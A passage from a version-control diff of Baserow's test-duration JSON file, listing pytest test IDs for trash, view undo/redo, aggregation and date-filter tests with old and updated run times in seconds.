"tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_delete_tables_and_rows_in_the_same_perm_delete_batch": 0.3389300829730928, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_perm_delete_application_which_links_to_self": 0.21529720799298957, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_perm_delete_application_with_linked_tables": 0.6332005000149366, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_perm_delete_tables": 0.4641562489850912, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_trash_row_with_blank_primary_file_field": 0.13929012499284, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_can_trash_row_with_blank_primary_single_select": 0.1413965430110693, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_cant_delete_row_by_id_perm_without_tableid": 0.1458109590166714, "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_cant_delete_row_perm_without_tableid": 0.0977955269991071, "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_delete_row": 0.09474416200464475, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_delete_row_by_id": 0.16503995899984147, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_delete_row_by_id_perm": 0.1700940830005493, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_delete_row_by_id": 0.15095745897269808, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_delete_row_by_id_perm": 0.1645651249855291, "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_delete_row_perm": 0.0997067700009211, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_field": 0.1614867080006661, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_link_row_field": 0.26032608299919957, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_lookup_row_field": 0.44993308399989473, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_related_link_row_field": 0.266613666000012, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_table": 0.15624087500054884, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_table_and_related_link_row_field": 0.2782074589995318, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_deleting_many_rows_at_once_only_looks_up_the_model_once": 0.1884199179994539, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_permanently_delete_rows_in_batch": 0.1738178319992585, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_restoring_a_trashed_link_field_restores_the_opposing_field_also": 0.2585902909995639, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trash_and_restore_rows_in_batch": 0.18180745900099282, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trash_restore_view": 0.29105133399934857, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashed_row_entry_extra_description_is_unnamed_when_no_value_pk": 0.1627217079994807, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashed_row_entry_includes_the_rows_primary_key_value_as_an_extra_description": 0.16818179300025804, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashed_rows_entry_includes_includes_the_correct_names": 0.17357674999948358, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_a_field_with_a_filter_trashes_the_filter": 0.19324504199994408, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_a_field_with_a_sort_trashes_the_sort": 0.20080708300065453, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_a_row_hides_it_from_a_link_row_field_pointing_at_it": 0.26557279200005723, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_a_table_with_link_fields_pointing_at_it_also_trashes_those_fields": 0.2772889160005434, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_two_linked_tables_after_one_perm_deleted_can_restore": 0.3628509590007525, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_two_linked_tables_and_link_field_cant_restore_link_field": 0.36148529300044174, - "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_two_linked_tables_and_restoring_one_ignores_link_field": 0.3050373750002109, - "tests/baserow/contrib/database/view/actions/test_view_create_actions.py::test_can_undo_create_view": 0.1656466670010559, - "tests/baserow/contrib/database/view/actions/test_view_create_actions.py::test_can_undo_redo_create_view": 0.17457329299941193, - "tests/baserow/contrib/database/view/actions/test_view_delete_actions.py::test_can_undo_delete_view": 0.16230858400103898, - "tests/baserow/contrib/database/view/actions/test_view_delete_actions.py::test_can_undo_redo_delete_view": 0.17302483300045424, - "tests/baserow/contrib/database/view/actions/test_view_duplicate_actions.py::test_can_undo_duplicate_view": 0.16943045900097786, - "tests/baserow/contrib/database/view/actions/test_view_duplicate_actions.py::test_can_undo_redo_create_view": 0.17972349999945436, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_creating_view_filter": 0.16669687500052532, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_creating_view_filter_group": 0.15747858199938491, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_deleting_view_filter": 0.1653554170006828, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_deleting_view_filter_group": 0.170367833000455, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_creating_view_filter": 0.18027449900000647, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_creating_view_filter_group": 0.17176374999962718, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_deleting_view_filter": 0.17310908299896255, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_deleting_view_filter_group": 0.17757383400021354, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_deleting_view_filter_group_with_nested_filters_and_groups": 0.20240854100029537, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_updating_view_filter": 0.1785591249999925, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_updating_view_filter_group": 0.16833616700023413, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_updating_view_filter": 0.18626258400036022, - "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_updating_view_filter_group": 0.16299854299995786, - "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_creating_view_group_by": 0.16683204200035107, - "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_deleting_view_group_by": 0.16247679099978996, - "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_redo_creating_view_group_by": 0.1809899999998379, - "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_redo_deleting_view_group_by": 0.17124937600056, - "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_redo_updating_view_group_by": 0.17579949999890232, - "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_updating_view_group_by": 0.16941508400032035, - "tests/baserow/contrib/database/view/actions/test_view_order_actions.py::test_can_undo_order_views": 0.17374779199963086, - "tests/baserow/contrib/database/view/actions/test_view_order_actions.py::test_can_undo_redo_order_views": 0.19025208299899532, - "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_creating_view_sort": 0.17049704300006852, - "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_deleting_view_sort": 0.16294404200016288, - "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_redo_creating_view_sort": 0.17491095699915604, - "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_redo_deleting_view_sort": 0.1737658330002887, - "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_redo_updating_view_sort": 0.17544758300027752, - "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_updating_view_sort": 0.16505704100109142, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_insert_field_in_action_group": 0.22934820900081831, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_rotate_view_slug": 0.17087549899952137, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_form_view": 0.4531021669999973, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_gallery_view": 0.1962178749990926, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_field_options": 0.2036041250003109, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_filter_type": 0.17395529100031126, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_filters_disabled": 0.17446754100001272, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_name": 0.17274329199881322, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_set_view_public": 0.18327020699962304, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_set_view_public_with_password": 0.5619907500004047, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_rotate_view_slug": 0.1622268740002255, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_field_options": 0.19479787399905035, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_filter_type": 0.1671463760003462, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_filters_disabled": 0.1625858760007759, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_name": 0.1605874999995649, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_set_view_public": 0.16867612400073995, - "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_set_view_public_with_password": 0.4213407500001267, - "tests/baserow/contrib/database/view/test_view_aggregations.py::test_aggregation_is_updated_when_view_is_trashed": 0.23196416700011468, - "tests/baserow/contrib/database/view/test_view_aggregations.py::test_view_aggregation_errors": 0.17467420900084107, - "tests/baserow/contrib/database/view/test_view_aggregations.py::test_view_empty_count_aggregation": 0.17921245799971075, - "tests/baserow/contrib/database/view/test_view_aggregations.py::test_view_empty_count_aggregation_for_interesting_table": 3.6618746680005643, - "tests/baserow/contrib/database/view/test_view_aggregations.py::test_view_number_aggregation": 0.19924704200002452, - "tests/baserow/contrib/database/view/test_view_aggregations.py::test_view_unique_count_aggregation_for_interesting_table": 3.6132899180001914, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_field": 0.15174325200496241, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_link_row_field": 0.34610383401741274, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_lookup_row_field": 0.6498853329685517, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_related_link_row_field": 0.5011480409884825, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_table": 0.1155243750254158, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_delete_table_and_related_link_row_field": 0.5726234989997465, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_perm_deleting_many_rows_at_once_only_looks_up_the_model_once": 0.19325970800127834, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_permanently_delete_rows_in_batch": 0.1671148750174325, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_restoring_a_trashed_link_field_restores_the_opposing_field_also": 0.3746473750215955, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trash_and_restore_rows_in_batch": 0.16624991700518876, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trash_and_restore_rows_in_batch_will_restore_formula_fields": 0.20368379200226627, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trash_restore_view": 0.22260495799127966, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashed_row_entry_extra_description_is_unnamed_when_no_value_pk": 0.1432392489805352, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashed_row_entry_includes_the_rows_primary_key_value_as_an_extra_description": 0.1448888330196496, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashed_rows_entry_includes_includes_the_correct_names": 0.15175762501894496, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_a_field_with_a_filter_trashes_the_filter": 0.2077089579834137, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_a_field_with_a_sort_trashes_the_sort": 0.23188912600744516, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_a_row_hides_it_from_a_link_row_field_pointing_at_it": 0.34103124900138937, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_a_table_with_link_fields_pointing_at_it_also_trashes_those_fields": 0.4113911669992376, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_two_linked_tables_after_one_perm_deleted_can_restore": 0.6568997499707621, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_two_linked_tables_and_link_field_cant_restore_link_field": 0.8162609159771819, + "tests/baserow/contrib/database/trash/test_database_trash_types.py::test_trashing_two_linked_tables_and_restoring_one_ignores_link_field": 0.5345778749906458, + "tests/baserow/contrib/database/view/actions/test_view_create_actions.py::test_can_undo_create_view": 0.13113704096758738, + "tests/baserow/contrib/database/view/actions/test_view_create_actions.py::test_can_undo_redo_create_view": 0.15608308304217644, + "tests/baserow/contrib/database/view/actions/test_view_delete_actions.py::test_can_undo_delete_view": 0.1140386660117656, + "tests/baserow/contrib/database/view/actions/test_view_delete_actions.py::test_can_undo_redo_delete_view": 0.14476216700859368, + "tests/baserow/contrib/database/view/actions/test_view_duplicate_actions.py::test_can_undo_duplicate_view": 0.16007037498638965, + "tests/baserow/contrib/database/view/actions/test_view_duplicate_actions.py::test_can_undo_redo_create_view": 0.18330162501661107, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_creating_view_filter": 0.14920308301225305, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_creating_view_filter_group": 0.13690029201097786, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_deleting_view_filter": 0.1409044169995468, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_deleting_view_filter_group": 0.14394441604963504, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_creating_view_filter": 0.16115875000832602, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_creating_view_filter_group": 0.1334957919898443, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_deleting_view_filter": 0.15753062602016144, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_deleting_view_filter_group": 0.17285495897522196, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_deleting_view_filter_group_with_nested_filters_and_groups": 0.19910316696041264, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_updating_view_filter": 0.16292533196974546, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_redo_updating_view_filter_group": 0.1318894169817213, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_updating_view_filter": 0.16798266701516695, + "tests/baserow/contrib/database/view/actions/test_view_filter_actions.py::test_can_undo_updating_view_filter_group": 0.12024199997540563, + "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_creating_view_group_by": 0.13246275001438335, + "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_deleting_view_group_by": 0.15267366799525917, + "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_redo_creating_view_group_by": 0.14484587599872611, + "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_redo_creating_view_group_by_with_type": 0.14785491698421538, + "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_redo_deleting_view_group_by": 0.15226183299091645, + "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_redo_deleting_view_group_by_with_type": 0.1468272919591982, + "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_redo_updating_view_group_by": 0.15109600001596846, + "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_redo_updating_view_group_by_with_type": 0.1592457079968881, + "tests/baserow/contrib/database/view/actions/test_view_group_by_actions.py::test_can_undo_updating_view_group_by": 0.1390804570110049, + "tests/baserow/contrib/database/view/actions/test_view_order_actions.py::test_can_undo_order_views": 0.14361608403851278, + "tests/baserow/contrib/database/view/actions/test_view_order_actions.py::test_can_undo_redo_order_views": 0.15638524896348827, + "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_creating_view_sort": 0.1372726249974221, + "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_deleting_view_sort": 0.14418283401755616, + "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_redo_creating_view_sort": 0.1501737500075251, + "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_redo_creating_view_sort_with_type": 0.1563801670272369, + "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_redo_deleting_view_sort": 0.14492341704317369, + "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_redo_deleting_view_sort_with_type": 0.14094429201213643, + "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_redo_updating_view_sort": 0.145854667032836, + "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_redo_updating_view_sort_type": 0.15274345900979824, + "tests/baserow/contrib/database/view/actions/test_view_sort_actions.py::test_can_undo_updating_view_sort": 0.13985149998916313, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_insert_field_in_action_group": 0.2594953330117278, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_rotate_view_slug": 0.14752370698261075, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_form_view": 0.3210359169461299, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_gallery_view": 0.1848651250184048, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_field_options": 0.18851045801420696, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_filter_type": 0.1505999590153806, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_filters_disabled": 0.14948270900640637, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_name": 0.14178083298611455, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_set_view_public": 0.14912254200316966, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_redo_update_view_set_view_public_with_password": 0.3724327080126386, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_rotate_view_slug": 0.1338744590175338, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_field_options": 0.17584854099550284, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_filter_type": 0.14150562501163222, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_filters_disabled": 0.13669466698775068, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_name": 0.1309838330198545, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_set_view_public": 0.1301975009846501, + "tests/baserow/contrib/database/view/actions/test_view_update_actions.py::test_can_undo_update_view_set_view_public_with_password": 0.26686537501518615, + "tests/baserow/contrib/database/view/test_adhoc_filters.py::test_adhoc_filters_from_dict": 0.01298554299864918, + "tests/baserow/contrib/database/view/test_adhoc_filters.py::test_adhoc_filters_from_request": 0.013215749990195036, + "tests/baserow/contrib/database/view/test_adhoc_filters.py::test_adhoc_filters_without_value_field": 0.012915124971186742, + "tests/baserow/contrib/database/view/test_adhoc_filters.py::test_deserialize_dispatch_filters": 0.012673876015469432, + "tests/baserow/contrib/database/view/test_view_aggregations.py::TestViewDistributionAggregation::test_view_distribution_aggregation": 0.5198621669842396, + "tests/baserow/contrib/database/view/test_view_aggregations.py::test_aggregation_is_updated_when_view_is_trashed": 0.26438770798267797, + "tests/baserow/contrib/database/view/test_view_aggregations.py::test_view_aggregation_errors": 0.17024658300215378, + "tests/baserow/contrib/database/view/test_view_aggregations.py::test_view_empty_count_aggregation": 0.14828291701269336, + "tests/baserow/contrib/database/view/test_view_aggregations.py::test_view_empty_count_aggregation_for_interesting_table": 5.500580499967327, + "tests/baserow/contrib/database/view/test_view_aggregations.py::test_view_number_aggregation": 0.16399741600616835, + "tests/baserow/contrib/database/view/test_view_aggregations.py::test_view_unique_count_aggregation_for_interesting_table": 6.358414583984995, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-exact_date-2024-05-24-expected_results20]": 0.3278706259734463, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-next_month--expected_results10]": 0.305474624998169, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-next_week--expected_results9]": 0.32104883500142023, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-next_year--expected_results11]": 0.3119962910132017, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-nr_days_ago-7-expected_results12]": 0.33355304098222405, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-nr_days_from_now-7-expected_results16]": 0.3032129169732798, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-nr_months_ago-1-expected_results14]": 0.3265707500104327, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-nr_months_from_now-1-expected_results18]": 0.3290151240071282, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-nr_weeks_ago-1-expected_results13]": 0.29994695700588636, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-nr_weeks_from_now-1-expected_results17]": 0.29474999898229726, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-nr_years_ago-1-expected_results15]": 0.30793916698894463, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-nr_years_from_now-1-expected_results19]": 0.5590448749717325, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-one_month_ago--expected_results4]": 0.2917404580221046, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-one_week_ago--expected_results3]": 0.30252762502641417, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-one_year_ago--expected_results5]": 0.3171051660028752, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-this_month--expected_results7]": 0.3097175419970881, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-this_week--expected_results6]": 0.330248083017068, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-this_year--expected_results8]": 0.26661283301655203, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-today--expected_results1]": 0.30977683400851674, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-tomorrow--expected_results2]": 0.30657091600005515, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is-yesterday--expected_results0]": 0.31711920801899396, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-exact_date-2024-05-24-expected_results104]": 0.36703929197392426, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-next_month--expected_results94]": 0.29640649902285077, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-next_week--expected_results93]": 0.36712770801386796, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-next_year--expected_results95]": 0.3660997500119265, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-nr_days_ago-7-expected_results96]": 0.3761025829880964, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-nr_days_from_now-7-expected_results100]": 0.3831950000312645, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-nr_months_ago-1-expected_results98]": 0.37423737498465925, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-nr_months_from_now-1-expected_results102]": 0.4039221669663675, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-nr_weeks_ago-1-expected_results97]": 0.3633451670175418, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-nr_weeks_from_now-1-expected_results101]": 0.35941137600457296, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-nr_years_ago-1-expected_results99]": 0.4185066249920055, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-nr_years_from_now-1-expected_results103]": 0.34287724999012426, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-one_month_ago--expected_results88]": 0.36563220800599083, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-one_week_ago--expected_results87]": 0.37978749998728745, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-one_year_ago--expected_results89]": 0.3616865420190152, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-this_month--expected_results91]": 0.38704016600968316, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-this_week--expected_results90]": 0.3570477080065757, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-this_year--expected_results92]": 0.37944300097296946, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-today--expected_results85]": 0.3550174580013845, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-tomorrow--expected_results86]": 0.36370675000944175, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_after-yesterday--expected_results84]": 0.38035583301098086, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-exact_date-2024-05-24-expected_results62]": 0.3621623339713551, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-next_month--expected_results52]": 0.36861770699033514, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-next_week--expected_results51]": 0.34573004199774005, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-next_year--expected_results53]": 0.33198320897645317, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-nr_days_ago-7-expected_results54]": 0.36852570800692774, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-nr_days_from_now-7-expected_results58]": 0.3649697079672478, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-nr_months_ago-1-expected_results56]": 0.3411305009794887, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-nr_months_from_now-1-expected_results60]": 0.3733478340145666, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-nr_weeks_ago-1-expected_results55]": 0.3592255839903373, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-nr_weeks_from_now-1-expected_results59]": 0.3435462909983471, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-nr_years_ago-1-expected_results57]": 0.35691320899059065, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-nr_years_from_now-1-expected_results61]": 0.3591987079998944, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-one_month_ago--expected_results46]": 0.4047856260149274, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-one_week_ago--expected_results45]": 0.35260058398125693, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-one_year_ago--expected_results47]": 0.33157216804102063, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-this_month--expected_results49]": 0.6274344169942196, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-this_week--expected_results48]": 0.34041249900474213, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-this_year--expected_results50]": 0.3741558749752585, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-today--expected_results43]": 0.38611091699567623, + "tests/baserow/contrib/database/view/test_view_array_filters.py::test_date_array_filter_types[date_is_before-tomorrow--expected_results44]": 0.37188429103116505, + 